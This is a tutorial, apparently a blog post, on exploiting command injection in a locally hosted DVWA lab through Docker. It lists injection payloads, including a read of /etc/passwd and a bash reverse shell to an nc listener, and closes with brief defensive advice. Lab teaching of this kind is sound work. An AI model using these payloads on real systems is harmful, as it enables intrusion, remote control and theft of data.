From Browser to Terminal: Taking Over a Server with Command Injection

Command injection means that when a web application adds user input to an operating system command without filtering it, you can write shell commands there.

Command injection means that if a web application takes user input and adds it straight to an operating system command without filtering it, you can write shell commands there. It could be a ping form, an IP field, a search box, a parameter, etc. The application runs that command, and the server does what you wrote.

Docker and DVWA Setup

We’ll test not on a real system but on a vulnerable app we set up ourselves. We’ll use DVWA (Damn Vulnerable Web Application). It runs with Docker.

Setup:

sudo apt update && sudo apt install -y docker.io
sudo service docker start

Start DVWA:

docker run --rm -d -p 80:80 vulnerables/web-dvwa

From the browser:

http://localhost/login.php

open this address.

The login credentials are admin and password. On the Setup page, click the Create - Reset Database button. Then log in again.

From the left menu, go to the Command Injection page.

The Command Injection page and the Ping a device form in the DVWA left menu

Normal Usage

Type 127.0.0.1 in the input field and hit Submit. The ping output comes back. In the background, the server runs this:

ping -c 4 127.0.0.1

The form does the job it’s supposed to.

Normal ping output returned when 127.0.0.1 is entered

First Payload

Type this in the input field:

127.0.0.1; whoami

After Submit, there’s a single line below the ping output: www-data

The www-data line below the ping output with the 127.0.0.1; whoami payload

In the shell, a semicolon means “the first command is done, now run the second one.” Because the application pastes your input into the command as is, it became two commands.

Other Operators

The same logic works with different characters too:

“&&” runs the second one if the first succeeds. “|” sends the output of the first one to the second.

127.0.0.1 && id

The uid=33(www-data) output returned with the 127.0.0.1 && id payload

127.0.0.1 | hostname

The container hostname returned with the 127.0.0.1 | hostname payload

127.0.0.1; cat /etc/passwd

The /etc/passwd contents dumped with the 127.0.0.1; cat /etc/passwd payload

Reverse Shell

Instead of sending commands one by one, let’s get an interactive shell.

Open a listener on Kali:

nc -lvnp 4444

A listener opened with nc -lvnp 4444 in the Kali terminal, waiting for a connection

There’s an important detail here. DVWA runs inside a Docker container. The container runs in its own isolated network, and when it says 127.0.0.1 it means itself, not Kali. For it to connect back to Kali, you need to use the docker bridge IP address.

Find the IP address with this command:

ip addr show docker0 | grep "inet "

It’s usually 172.17.0.1.

Paste this payload into the input in the browser:

127.0.0.1; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'

As soon as you hit Submit, a shell lands in the nc window:

When you run the id command, it returns uid=33(www-data). We’re on the server now.

The reverse shell landing in the nc window and the uid=33(www-data) output from the id command

Protection

Don’t put user input directly into a shell command. Escape the incoming data with “escapeshellarg”. If possible, use an in-language library instead of a system command. Best of all, restrict the format tightly with regex. If you expect an IP, allow only the IP format and reject everything else.